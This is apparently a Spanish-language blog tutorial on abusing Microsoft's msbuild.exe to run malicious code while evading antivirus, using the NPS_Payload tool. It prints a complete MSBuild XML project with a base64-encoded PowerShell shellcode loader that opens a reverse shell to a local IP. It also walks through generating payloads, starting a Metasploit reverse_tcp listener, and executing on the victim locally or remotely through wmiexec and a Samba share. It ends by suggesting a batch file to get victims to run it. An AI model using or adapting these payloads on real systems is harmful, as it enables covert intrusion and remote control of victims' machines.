Ejecutando código malicioso gracias a MSBuild con la ayuda de NPS_Payload

En diversas ocasiones hemos visto como se han descubierto binarios nativos de aplicaciones creadas por Microsoft que podrían ser usados para ejecutar código malicioso y ayudar al atacante a comprometer a la víctima, incluso de una manera muy eficaz evadiendo las detecciones por parte del antivirus.

Hoy le toca el marrón a MSBuild, el famoso compilador de Microsoft y Visual Studio.

Casey Smith, más conocido como SubTee y famoso por su ensañamiento continuo con la explotación de productos de Microsoft y Windows, descubrió afirmando que se podía ejecutar código gracias a archivos como .csproj o .xml usando msbuild.exe de Microsoft. Casey observó que hay diversas secciones de dichos formatos en los que se puede introducir código y que serán analizadas y ejecutadas al lanzar msbuild.exe, lo que permitiría la interpretación código, en este caso malicioso, como C# por parte del atacante.

Uno de los ejemplos de payload sería el siguiente:
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="npscsharp">
   <nps />
  </Target>
  <UsingTask
    TaskName="nps"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
  <Task>
    <Reference Include="System.Management.Automation" />
      <Code Type="Class" Language="cs">
        <![CDATA[

          using System;
      using System.Collections.ObjectModel;
      using System.Management.Automation;
      using System.Management.Automation.Runspaces;
      using Microsoft.Build.Framework;
      using Microsoft.Build.Utilities;

      public class nps : Task, ITask
        {
            public override bool Execute()
            {
              string cmd = "JFVsQ3RZWU13cSA9IEAiDQpbRGxsSW1wb3J0KCJrZXJuZWwzMi5kbGwiKV0NCnB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBWaXJ0dWFsQWxsb2MoSW50UHRyIGxwQWRkcmVzcywgdWludCBkd1NpemUsIHVpbnQgZmxBbGxvY2F0aW9uVHlwZSwgdWludCBmbFByb3RlY3QpOw0KW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIildDQpwdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgQ3JlYXRlVGhyZWFkKEludFB0ciBscFRocmVhZEF0dHJpYnV0ZXMsIHVpbnQgZHdTdGFja1NpemUsIEludFB0ciBscFN0YXJ0QWRkcmVzcywgSW50UHRyIGxwUGFyYW1ldGVyLCB1aW50IGR3Q3JlYXRpb25GbGFncywgSW50UHRyIGxwVGhyZWFkSWQpOw0KW0RsbEltcG9ydCgibXN2Y3J0LmRsbCIpXQ0KcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIG1lbXNldChJbnRQdHIgZGVzdCwgdWludCBzcmMsIHVpbnQgY291bnQpOw0KIkANCg0KJEpteUN3a1FremFOcGYgPSBBZGQtVHlwZSAtbWVtYmVyRGVmaW5pdGlvbiAkVWxDdFlZTXdxIC1OYW1lICJXaW4zMiIgLW5hbWVzcGFjZSBXaW4zMkZ1bmN0aW9ucyAtcGFzc3RocnUNCg0KW0J5dGVbXV0gJFBkc05JRnZwcmd1TkYgPSAweGZjLDB4ZTgsMHg4MiwweDAsMHgwLDB4MCwweDYwLDB4ODksMHhlNSwweDMxDQokUGRzTklGdnByZ3VORiArPSAweGMwLDB4NjQsMHg4YiwweDUwLDB4MzAsMHg4YiwweDUyLDB4YywweDhiLDB4NTINCiRQZHNOSUZ2cHJndU5GICs9IDB4MTQsMHg4YiwweDcyLDB4MjgsMHhmLDB4YjcsMHg0YSwweDI2LDB4MzEsMHhmZg0KJFBkc05JRnZwcmd1TkYgKz0gMHhhYywweDNjLDB4NjEsMHg3YywweDIsMHgyYywweDIwLDB4YzEsMHhjZiwweGQNCiRQZHNOSUZ2cHJndU5GICs9IDB4MSwweGM3LDB4ZTIsMHhmMiwweDUyLDB4NTcsMHg4YiwweDUyLDB4MTAsMHg4Yg0KJFBkc05JRnZwcmd1TkYgKz0gMHg0YSwweDNjLDB4OGIsMHg0YywweDExLDB4NzgsMHhlMywweDQ4LDB4MSwweGQxDQokUGRzTklGdnByZ3VORiArPSAweDUxLDB4OGIsMHg1OSwweDIwLDB4MSwweGQzLDB4OGIsMHg0OSwweDE4LDB4ZTMNCiRQZHNOSUZ2cHJndU5GICs9IDB4M2EsMHg0OSwweDhiLDB4MzQsMHg4YiwweDEsMHhkNiwweDMxLDB4ZmYsMHhhYw0KJFBkc05JRnZwcmd1TkYgKz0gMHhjMSwweGNmLDB4ZCwweDEsMHhjNywweDM4LDB4ZTAsMHg3NSwweGY2LDB4Mw0KJFBkc05JRnZwcmd1TkYgKz0gMHg3ZCwweGY4LDB4M2IsMHg3ZCwweDI0LDB4NzUsMHhlNCwweDU4LDB4OGIsMHg1OA0KJFBkc05JRnZwcmd1TkYgKz0gMHgyNCwweDEsMHhkMywweDY2LDB4OGIsMHhjLDB4NGIsMHg4YiwweDU4LDB4MWMNCiRQZHNOSUZ2cHJndU5GICs9IDB4MSwweGQzLDB4OGIsMHg0LDB4OGIsMHgxLDB4ZDAsMHg4OSwweDQ0LDB4MjQNCiRQZHNOSUZ2cHJndU5GICs9IDB4MjQsMHg1YiwweDViLDB4NjEsMHg1OSwweDVhLDB4NTEsMHhmZiwweGUwLDB4NWYNCiRQZHNOSUZ2cHJndU5GICs9IDB4NWYsMHg1YSwweDhiLDB4MTIsMHhlYiwweDhkLDB4NWQsMHg2OCwweDMzLDB4MzINCiRQZHNOSUZ2cHJndU5GICs9IDB4MCwweDAsMHg2OCwweDc3LDB4NzMsMHgzMiwweDVmLDB4NTQsMHg2OCwweDRjDQokUGRzTklGdnByZ3VORiArPSAweDc3LDB4MjYsMHg3LDB4ZmYsMHhkNSwweGI4LDB4OTAsMHgxLDB4MCwweDANCiRQZHNOSUZ2cHJndU5GICs9IDB4MjksMHhjNCwweDU0LDB4NTAsMHg2OCwweDI5LDB4ODAsMHg2YiwweDAsMHhmZg0KJFBkc05JRnZwcmd1TkYgKz0gMHhkNSwweDZhLDB4NSwweDY4LDB4YzAsMHhhOCwweDEsMHg4NCwweDY4LDB4Mg0KJFBkc05JRnZwcmd1TkYgKz0gMHgwLDB4MTEsMHg1YywweDg5LDB4ZTYsMHg1MCwweDUwLDB4NTAsMHg1MCwweDQwDQokUGRzTklGdnByZ3VORiArPSAweDUwLDB4NDAsMHg1MCwweDY4LDB4ZWEsMHhmLDB4ZGYsMHhlMCwweGZmLDB4ZDUNCiRQZHNOSUZ2cHJndU5GICs9IDB4OTcsMHg2YSwweDEwLDB4NTYsMHg1NywweDY4LDB4OTksMHhhNSwweDc0LDB4NjENCiRQZHNOSUZ2cHJndU5GICs9IDB4ZmYsMHhkNSwweDg1LDB4YzAsMHg3NCwweGEsMHhmZiwweDRlLDB4OCwweDc1DQokUGRzTklGdnByZ3VORiArPSAweGVjLDB4ZTgsMHg2MSwweDAsMHgwLDB4MCwweDZhLDB4MCwweDZhLDB4NA0KJFBkc05JRnZwcmd1TkYgKz0gMHg1NiwweDU3LDB4NjgsMHgyLDB4ZDksMHhjOCwweDVmLDB4ZmYsMHhkNSwweDgzDQokUGRzTklGdnByZ3VORiArPSAweGY4LDB4MCwweDdlLDB4MzYsMHg4YiwweDM2LDB4NmEsMHg0MCwweDY4LDB4MA0KJFBkc05JRnZwcmd1TkYgKz0gMHgxMCwweDAsMHgwLDB4NTYsMHg2YSwweDAsMHg2OCwweDU4LDB4YTQsMHg1Mw0KJFBkc05JRnZwcmd1TkYgKz0gMHhlNSwweGZmLDB4ZDUsMHg5MywweDUzLDB4NmEsMHgwLDB4NTYsMHg1MywweDU3DQokUGRzTklGdnByZ3VORiArPSAweDY4LDB4MiwweGQ5LDB4YzgsMHg1ZiwweGZmLDB4ZDUsMHg4MywweGY4LDB4MA0KJFBkc05JRnZwcmd1TkYgKz0gMHg3ZCwweDIyLDB4NTgsMHg2OCwweDAsMHg0MCwweDAsMHgwLDB4NmEsMHgwDQokUGRzTklGdnByZ3VORiArPSAweDUwLDB4NjgsMHhiLDB4MmYsMHhmLDB4MzAsMHhmZiwweGQ1LDB4NTcsMHg2OA0KJFBkc05JRnZwcmd1TkYgKz0gMHg3NSwweDZlLDB4NGQsMHg2MSwweGZmLDB4ZDUsMHg1ZSwweDVlLDB4ZmYsMHhjDQokUGRzTklGdnByZ3VORiArPSAweDI0LDB4ZTksMHg3MSwweGZmLDB4ZmYsMHhmZiwweDEsMHhjMywweDI5LDB4YzYNCiRQZHNOSUZ2cHJndU5GICs9IDB4NzUsMHhjNywweGMzLDB4YmIsMHhmMCwweGI1LDB4YTIsMHg1NiwweDZhLDB4MA0KJFBkc05JRnZwcmd1TkYgKz0gMHg1MywweGZmLDB4ZDUNCg0KDQokSXZMcnZSakh1QlVEID0gJEpteUN3a1FremFOcGY6OlZpcnR1YWxBbGxvYygwLFtNYXRoXTo6TWF4KCRQZHNOSUZ2cHJndU5GLkxlbmd0aCwweDEwMDApLDB4MzAwMCwweDQwKQ0KDQpmb3IgKCRRUVJPRFZSWG5wZz0wOyRRUVJPRFZSWG5wZyAtbGUgKCRQZHNOSUZ2cHJndU5GLkxlbmd0aC0xKTskUVFST0RWUlhucGcrKykgew0KICAkSm15Q3drUWt6YU5wZjo6bWVtc2V0KFtJbnRQdHJdKCRJdkxydlJqSHVCVUQuVG9JbnQzMigpKyRRUVJPRFZSWG5wZyksICRQZHNOSUZ2cHJndU5GWyRRUVJPRFZSWG5wZ10sIDEpIHwgT3V0LU51bGwNCn0NCg0KJEpteUN3a1FremFOcGY6OkNyZWF0ZVRocmVhZCgwLDAsJEl2THJ2UmpIdUJVRCwwLDAsMCkNCmZvciAoOzspewogIFN0YXJ0LXNsZWVwIDYwCn0=";
              
                PowerShell ps = PowerShell.Create();
                ps.AddScript(Base64Decode(cmd));

                Collection<PSObject> output = null;
                try
                {
                    output = ps.Invoke();
                }
                catch(Exception e)
                {
                    Console.WriteLine("Error while executing the script.\r\n" + e.Message.ToString());
                }
                if (output != null)
                {
                    foreach (PSObject rtnItem in output)
                    {
                        Console.WriteLine(rtnItem.ToString());
                    }
                }
                return true;
            }

            public static string Base64Encode(string text) {
           return System.Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(text));
        }

        public static string Base64Decode(string encodedtext) {
            return System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(encodedtext));
        }
        }
        ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>
Como se puede observar, es un bloque escrito en C# que contendrá el payload en base64 para obtener una puerta trasera gracias a su ejecución por parte de MSBuild. El payload se encuentra en el siguiente código codificado en base64:
$UlCtYYMwq = @"
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("msvcrt.dll")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);
"@

$JmyCwkQkzaNpf = Add-Type -memberDefinition $UlCtYYMwq -Name "Win32" -namespace Win32Functions -passthru

[Byte[]] $PdsNIFvprguNF = 0xfc,0xe8,0x82,0x0,0x0,0x0,0x60,0x89,0xe5,0x31
$PdsNIFvprguNF += 0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0xc,0x8b,0x52
$PdsNIFvprguNF += 0x14,0x8b,0x72,0x28,0xf,0xb7,0x4a,0x26,0x31,0xff
$PdsNIFvprguNF += 0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0xc1,0xcf,0xd
$PdsNIFvprguNF += 0x1,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b
$PdsNIFvprguNF += 0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x1,0xd1
$PdsNIFvprguNF += 0x51,0x8b,0x59,0x20,0x1,0xd3,0x8b,0x49,0x18,0xe3
$PdsNIFvprguNF += 0x3a,0x49,0x8b,0x34,0x8b,0x1,0xd6,0x31,0xff,0xac
$PdsNIFvprguNF += 0xc1,0xcf,0xd,0x1,0xc7,0x38,0xe0,0x75,0xf6,0x3
$PdsNIFvprguNF += 0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58
$PdsNIFvprguNF += 0x24,0x1,0xd3,0x66,0x8b,0xc,0x4b,0x8b,0x58,0x1c
$PdsNIFvprguNF += 0x1,0xd3,0x8b,0x4,0x8b,0x1,0xd0,0x89,0x44,0x24
$PdsNIFvprguNF += 0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f
$PdsNIFvprguNF += 0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32
$PdsNIFvprguNF += 0x0,0x0,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c
$PdsNIFvprguNF += 0x77,0x26,0x7,0xff,0xd5,0xb8,0x90,0x1,0x0,0x0
$PdsNIFvprguNF += 0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x0,0xff
$PdsNIFvprguNF += 0xd5,0x6a,0x5,0x68,0xc0,0xa8,0x1,0x84,0x68,0x2
$PdsNIFvprguNF += 0x0,0x11,0x5c,0x89,0xe6,0x50,0x50,0x50,0x50,0x40
$PdsNIFvprguNF += 0x50,0x40,0x50,0x68,0xea,0xf,0xdf,0xe0,0xff,0xd5
$PdsNIFvprguNF += 0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61
$PdsNIFvprguNF += 0xff,0xd5,0x85,0xc0,0x74,0xa,0xff,0x4e,0x8,0x75
$PdsNIFvprguNF += 0xec,0xe8,0x61,0x0,0x0,0x0,0x6a,0x0,0x6a,0x4
$PdsNIFvprguNF += 0x56,0x57,0x68,0x2,0xd9,0xc8,0x5f,0xff,0xd5,0x83
$PdsNIFvprguNF += 0xf8,0x0,0x7e,0x36,0x8b,0x36,0x6a,0x40,0x68,0x0
$PdsNIFvprguNF += 0x10,0x0,0x0,0x56,0x6a,0x0,0x68,0x58,0xa4,0x53
$PdsNIFvprguNF += 0xe5,0xff,0xd5,0x93,0x53,0x6a,0x0,0x56,0x53,0x57
$PdsNIFvprguNF += 0x68,0x2,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x0
$PdsNIFvprguNF += 0x7d,0x22,0x58,0x68,0x0,0x40,0x0,0x0,0x6a,0x0
$PdsNIFvprguNF += 0x50,0x68,0xb,0x2f,0xf,0x30,0xff,0xd5,0x57,0x68
$PdsNIFvprguNF += 0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0xc
$PdsNIFvprguNF += 0x24,0xe9,0x71,0xff,0xff,0xff,0x1,0xc3,0x29,0xc6
$PdsNIFvprguNF += 0x75,0xc7,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x0
$PdsNIFvprguNF += 0x53,0xff,0xd5


$IvLrvRjHuBUD = $JmyCwkQkzaNpf::VirtualAlloc(0,[Math]::Max($PdsNIFvprguNF.Length,0x1000),0x3000,0x40)

for ($QQRODVRXnpg=0;$QQRODVRXnpg -le ($PdsNIFvprguNF.Length-1);$QQRODVRXnpg++) {
  $JmyCwkQkzaNpf::memset([IntPtr]($IvLrvRjHuBUD.ToInt32()+$QQRODVRXnpg), $PdsNIFvprguNF[$QQRODVRXnpg], 1) | Out-Null
}

$JmyCwkQkzaNpf::CreateThread(0,0,$IvLrvRjHuBUD,0,0,0)
for (;;){
  Start-sleep 60
}

Y como decía anteriormente, estas ejecuciones conllevan que el formato del payload en muchos de los casos sea indetectable por los antivirus. Este es uno de ellos.

https://virustotal.com/es/file/15e26c7e518f1c464d60929790fcdca5c7fc2a49a717431e4776f54d3eeb37a6/analysis/1501089648/




Elaborar esta clase de payload puede llevar su tiempo, por ello dos de los integrantes de TrustedSec, Larry Spohn (@spoonman1091) y Ben Mauch (@ben0xa) han desarrollado NPS_Payload, una herramienta escrita en Python que nos facilitará la obtención de esta clase de payloads. NPS_Payload se encargará de generar payloads escritos en Powershell que será insertado en nuestro .xml que posteriormente podremos ejecutar gracias a MSBuild, también generará un recurso para la consola de Metasploit con todos los parámetros ya configurados.

La instalación de herramienta es muy sencilla, simplemente habrá que instalar los requisitos que se encuentran en el archivo requirements.txt de la siguiente manera:
┌─[root@parrot]─[/home/alejandro/Desktop]
└──╼ #cd nps_payload-master/
┌─[root@parrot]─[/home/alejandro/Desktop/nps_payload-master]
└──╼ #pip install -r requirements.txt
Collecting netifaces (from -r requirements.txt (line 1))
  Downloading netifaces-0.10.6.tar.gz
Requirement already satisfied: pexpect in /usr/lib/python2.7/dist-packages (from -r requirements.txt (line 2))
Building wheels for collected packages: netifaces
  Running setup.py bdist_wheel for netifaces ... done
  Stored in directory: /root/.cache/pip/wheels/28/e1/08/e66a4f207479500a27eae682a4773fa00605f2c5d953257824
Successfully built netifaces
Installing collected packages: netifaces
Successfully installed netifaces-0.10.6
┌─[root@parrot]─[/home/alejandro/Desktop/nps_payload-master]
└──╼ #./nps_payload.py 
                                                        
                                     (            (     
                              ) (    )\        )  )\ )  
  (    `  )  (       `  )  ( /( )\ )((_)(   ( /( (()/(  
  )\ ) /(/(  )\      /(/(  )(_)|()/( _  )\  )(_)) ((_)) 
 _(_/(((_)_\((_)    ((_)_\((_)_ )(_)) |((_)((_)_  _| |  
| ' \)) '_ \|_-<    | '_ \) _` | || | / _ \/ _` / _` |  
|_||_|| .__//__/____| .__/\__,_|\_, |_\___/\__,_\__,_|  
      |_|     |_____|_|         |__/                    

                       v1.02


    (1)    Generate msbuild/nps/msf payload
    (2)    Generate msbuild/nps/msf HTA payload
    (99)    Quit

Select a task: 

La herramienta viene con dos clases de payloads, el payload básico y el HTA que podremos usar dependiendo de nuestro objetivo.

Un ejemplo del uso de NPS_Payload junto a la ejecución del payload puede ser el siguiente:
┌─[✗]─[root@parrot]─[/home/alejandro/Desktop/nps_payload-master]
└──╼ #./nps_payload.py 
                                                        
                                     (            (     
                              ) (    )\        )  )\ )  
  (    `  )  (       `  )  ( /( )\ )((_)(   ( /( (()/(  
  )\ ) /(/(  )\      /(/(  )(_)|()/( _  )\  )(_)) ((_)) 
 _(_/(((_)_\((_)    ((_)_\((_)_ )(_)) |((_)((_)_  _| |  
| ' \)) '_ \|_-<    | '_ \) _` | || | / _ \/ _` / _` |  
|_||_|| .__//__/____| .__/\__,_|\_, |_\___/\__,_\__,_|  
      |_|     |_____|_|         |__/                    

                       v1.02


    (1)    Generate msbuild/nps/msf payload
    (2)    Generate msbuild/nps/msf HTA payload
    (99)    Quit

Select a task: 1

Payload Selection:

    (1)    windows/meterpreter/reverse_tcp
    (2)    windows/meterpreter/reverse_http
    (3)    windows/meterpreter/reverse_https
    (4)    Custom PS1 Payload

Select payload: 1
Enter Your Local IP Address (192.168.1.132): 192.168.1.132
Enter the listener port: 4444

Generating PSH Payload...

Generating MSF Resource Script...

Metasploit resource script written to msbuild_nps.rc

Run "msfconsole -r msbuild_nps.rc" to start listener.

Payload written to msbuild_nps.xml

Options to deploy:

1) Copy the file to the target machine and then execute the following command:

    %windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe <folder_path_here>\msbuild_nps.xml

    --or--

2) Use samba to share the file.

    a) Copy the msbuild_nps.xml file to a local samba share (ie: /var/samba/payload$)
    b) Execute the command remotely with the following command:

    wmiexec.py <USER>:'<PASS>'@<RHOST> cmd.exe /c start %windir%\\Microsoft.NET\\Framework\\v4.0.30319\\msbuild.exe \\\\192.168.1.132\\payloads$\\msbuild_nps.xml


Como podemos observar, la herramienta nos lanza la posibilidad de ejecutar el payload de dos maneras diferentes, localmente y remotamente gracias a Samba, yo optaré por la ejecución local. A continuación ejecutaremos archivo para configuración del meterpreter que nos generará la herramienta con el comando msfconsole -r msbuild_nps.rc.
┌─[root@parrot]─[/home/alejandro/Desktop/nps_payload-master]
└──╼ #msfconsole -r msbuild_nps.rc
                                                  
IIIIII    dTb.dTb        _.---._
  II     4'  v  'B   .'"".'/|\`.""'.
  II     6.     .P  :  .' / | \ `.  :
  II     'T;. .;P'  '.'  /  |  \  `.'
  II      'T; ;P'    `. /   |   \ .'
IIIIII     'YvP'       `-.__|__.-'

I love shells --egypt


Taking notes in notepad? Have Metasploit Pro track & report
your progress and findings -- learn more on http://rapid7.com/metasploit

       =[ metasploit v4.13.12-dev                         ]
+ -- --=[ 1611 exploits - 914 auxiliary - 279 post        ]
+ -- --=[ 471 payloads - 39 encoders - 9 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

[*] Processing msbuild_nps.rc for ERB directives.
resource (msbuild_nps.rc)> use multi/handler
resource (msbuild_nps.rc)> set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
resource (msbuild_nps.rc)> set LHOST 192.168.1.132
LHOST => 192.168.1.132
resource (msbuild_nps.rc)> set LPORT 4444
LPORT => 4444
resource (msbuild_nps.rc)> set ExitOnSession false
ExitOnSession => false
resource (msbuild_nps.rc)> set EnableStageEncoding true
EnableStageEncoding => true
resource (msbuild_nps.rc)> exploit -j -z
[*] Exploit running as background job.

[*] Started reverse TCP handler on 192.168.1.132:4444 
[*] Starting the payload handler...
msf exploit(handler) > 


Ahora en el ordenador de la víctima deberemos ejecutar nuestro payload con msbuild.exe de la siguiente manera:
C:\Users\Desktop>C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe msbuild_nps.xml
Microsoft (R) Build Engine, versión 4.7.2046.0
[Microsoft .NET Framework, versión 4.0.30319.42000]
Copyright (C) Microsoft Corporation. Todos los derechos reservados.

Compilación iniciada.

E inmediatamente obtendremos una sesión de metepreter:


También hay que decir que un ejecutable o .bat nos facilitaría mucho la ejecución del payload ya que la propia víctima es complicado que ejecute el comando mencionado anteriormente para realizar un ataque efectivo, para ello he escrito un batch bastante sencillo que nos facilitará mucho la ejecución del MSBuild. Simplemente deberéis copiar el contenido del .xml generado por NPS_Payload en formato hexadecimal como he colocado después del echo.

Enjoy it!

Comentarios